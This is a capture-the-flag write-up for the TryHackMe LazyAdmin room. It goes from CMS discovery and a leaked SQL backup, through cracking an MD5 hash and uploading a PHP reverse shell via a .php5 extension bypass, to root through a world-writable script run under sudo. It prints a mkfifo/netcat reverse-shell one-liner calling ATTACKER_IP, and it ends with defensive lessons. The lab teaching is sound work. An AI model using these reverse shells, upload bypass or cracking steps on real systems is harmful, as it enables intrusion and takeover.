LazyAdmin
Executive summary — LazyAdmin is an Easy Linux room on TryHackMe built around a neglected SweetRice 1.5.1 CMS. A directory brute-force finds the CMS under/content, an exposed MySQL backup leaks the admin's MD5 hash, the hash cracks instantly, an authenticated arbitrary file upload (Exploit-DB 40716) plants a PHP reverse shell aswww-data, and a world-writable script run throughsudo perlhands over root. A Web → Backup leak → Crack → Upload → Shell → Sudo → Root journey.
| Platform | TryHackMe |
| Operating system | Linux (Ubuntu 16.04) |
| Difficulty | Easy |
| Room | LazyAdmin |
| Target IP | MACHINE_IP |
Attack map
[80/HTTP] Apache default page -> gobuster finds /content (SweetRice 1.5.1)
|
v
[/content/inc/mysql_backup] SQL dump exposed -> admin "manager" + MD5 hash
| hashcat -m 0 + rockyou
v
[/content/as/] admin login with cracked password
| EDB-40716 authenticated file upload (.php5 bypass)
v
[SHELL] www-data -> user flag in /home/itguy
| sudo -l: perl /home/itguy/backup.pl (NOPASSWD)
| backup.pl -> /etc/copy.sh (world-writable)
v
[ROOT] reverse shell written into copy.sh -> root flag
1. Reconnaissance
As always, we begin by learning what is listening:
nmap -v -sV -sC MACHINE_IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Analysis: just SSH and a web server, and the web server shows the untouched Apache default page. A default page usually means the real application lives in a sub-directory that only content discovery will reveal, since nothing links to it.
2. Content discovery
gobuster dir -w /usr/share/wordlists/dirb/common.txt -x html,php,txt -u http://MACHINE_IP
Besides the usual 403 noise for .ht* files, one result matters:
/content (Status: 301) [--> http://MACHINE_IP/content/]
/index.html (Status: 200) [Size: 11321]
Visiting /content shows a SweetRice installation (a small PHP/MySQL CMS). Running Gobuster again, now inside that directory, maps the application:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -x html,php,txt -u http://MACHINE_IP/content
/_themes (301)
/as (301)
/attachment (301)
/changelog.txt (200)
/inc (301)
/index.php (200)
/license.txt (200)
Several of these are meaningful: /as is SweetRice's admin login, /attachment is where uploads are stored, and /inc holds the application's include files. The changelog tells us the exact version:
curl -L -s http://MACHINE_IP/content/changelog.txt | head -n 50
The top of the file reads "Version 1.5.0", but the change log lists an entry for V1.5.1 as the newest, and the SQL backup we find shortly confirms 1.5.1 in its file name.
3. Looking for known exploits
With a product and version in hand, the next step is to check public exploit databases offline with searchsploit:
searchsploit sweetrice
searchsploit -m 40716
SweetRice 1.5.1 - Arbitrary File Download | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery | php/webapps/40692.html
SweetRice 1.5.1 - CSRF / PHP Code Execution | php/webapps/40700.html
-m mirrors the exploit into the current directory. Reading the head of 40716.py before running anything is good practice: it prompts for the target URL, a username and password, and a local file to upload. So the upload bug is authenticated; we need valid admin credentials first. The listing hints at where to get them: "Backup Disclosure" (40718) describes SweetRice leaving database backups in a web-readable folder.
4. Credentials from an exposed backup
Browsing to /content/inc/ reveals a mysql_backup directory with directory listing enabled, containing a file named mysql_bakup_20191129023059-1.5.1.sql. Fetching it and searching for the string "pass" extracts the serialized admin settings:
curl -s http://MACHINE_IP/content/inc/mysql_backup/mysql_bakup_20191129023059-1.5.1.sql | grep -i pass
Inside the PHP-serialized global_setting option are two fields of interest:
admin : manager
passwd : 42f749ade7f9e195bf475f37a44cafcb
Thirty-two hexadecimal characters is the length of an MD5 digest, so we try Hashcat in straight dictionary mode against rockyou:
hashcat -a 0 -m 0 '42f749ade7f9e195bf475f37a44cafcb' /usr/share/wordlists/rockyou.txt
-a 0is the wordlist attack.-m 0selects the raw MD5 hash type.
42f749ade7f9e195bf475f37a44cafcb:Password123
Status...........: Cracked
Analysis: unsalted MD5 of a common password falls in about a second. The two weaknesses chain together: a world-readable backup gives the hash, and a bad hashing choice gives the password. The credentialsmanager : Password123work on the admin login at/content/as/.
5. Foothold via authenticated file upload
We prepare a PHP reverse shell (the well-known pentestmonkey script with our own IP and listener port filled in) and save it with a .php5 extension. The extension matters: SweetRice's upload handling blocks plain .php, while Apache on this host still treats .php5 as executable PHP, so the filter is bypassed. Then run the exploit and answer its prompts:
python3 40716.py
Enter The Target URL(Example : localhost.com) : MACHINE_IP/content
Enter Username : manager
Enter Password : Password123
Enter FileName (Example:.htaccess,shell.php5,index.html) : php-reverse-shell.php5
[+] Sending User&Pass...
[+] Login Succssfully...
[+] File Uploaded...
The script is Python 2 style code in its original form; on a modern Kali the quickest route is to run it with a Python version that works, or to perform the same steps manually by logging in and using the CMS media uploader. The uploaded file lands in /content/attachment/. Note that the URL printed by the script ends in .php; the file that actually exists keeps the .php5 name we gave it.
Start a listener, then request the file so the web server executes it:
nc -lvnp 12345
curl http://MACHINE_IP/content/attachment/php-reverse-shell.php5
connect to [ATTACKER_IP] from (UNKNOWN) [MACHINE_IP] 47144
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We have a shell as the web server user. It is unstable and has no TTY, so we upgrade it with Python's pty module:
python -c 'import pty;pty.spawn("/bin/bash")'
6. User flag and local enumeration
find /home -type f -name '[Uu]ser*' 2>/dev/null
cat /home/itguy/user.txt
/home/itguy/user.txt
FLAG
The user flag is readable by www-data, so no lateral move is needed. For privilege escalation, the first question on any Linux box is what we may run as another user:
sudo -l
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
NOPASSWD means no password prompt, and (ALL) means we may run it as any user, including root. We now check what that script does, and who can change it:
cat /home/itguy/backup.pl
ls -l /etc/copy.sh
cat /etc/copy.sh
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
-rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [old address] 5554 >/tmp/f
Analysis:backup.plis owned by root and not writable by us, so we cannot edit it, but it simply executes/etc/copy.sh. That second file has permissionsrwxfor others (the final three characters), so any user, includingwww-data, may overwrite it. A privileged command that runs a file an unprivileged user controls is an immediate escalation path. The existing content is a named-pipe reverse shell pointing at an address that belongs to the room's author, which we replace with our own.
7. Privilege escalation to root
We overwrite copy.sh with a reverse shell aimed at a second listener on our machine. The classic mkfifo pattern works without Netcat's -e option, which many builds lack: the FIFO feeds the attacker's keystrokes into /bin/sh, and the shell's output goes back through nc.
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 23456 >/tmp/f' > /etc/copy.sh
On the attacking machine start the second listener, then trigger the script through sudo on the target:
nc -lvnp 23456
sudo /usr/bin/perl /home/itguy/backup.pl
connect to [ATTACKER_IP] from (UNKNOWN) [MACHINE_IP] 43476
# id
uid=0(root) gid=0(root) groups=0(root)
The harmless "cannot remove /tmp/f" message printed by rm can be ignored. Finally:
cat /root/root.txt
FLAG
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | Apache / SweetRice 1.5.1 | CMS reachable under an unlinked path, version exposed in changelog.txt | Exact product and version known |
| Credential access | /content/inc/mysql_backup/ | Database backup in web root with directory listing (EDB-40718 class) | Admin username and MD5 hash disclosed |
| Credential access | Admin password | Unsalted MD5 of a common password | Cracked in seconds |
| Execution | SweetRice media upload | Unrestricted file upload, .php5 bypasses the extension filter (EDB-40716) | Remote code execution as www-data |
| Privilege | sudo + /etc/copy.sh | Passwordless sudo on a script that runs a world-writable file | Root shell |
Lessons learned
- Never leave backups in the web root. A single SQL dump bypassed the login entirely. Store backups outside the document root and disable directory listing.
- Hash passwords properly. Unsalted MD5 offers no real protection; use bcrypt, scrypt or Argon2.
- Extension blacklists fail. Block-listing
.phpignores.php5,.phtmland others; prefer an allow-list, store uploads outside the web root and disable script execution in upload directories. - Audit every file a sudo rule touches. Permission on the command is not enough: the whole chain (scripts it calls, files it reads, directories it uses) must be root-owned and not writable by others.
- Offensive habit: read exploit code before running it. Here it revealed that credentials were needed, which told us what to hunt for next.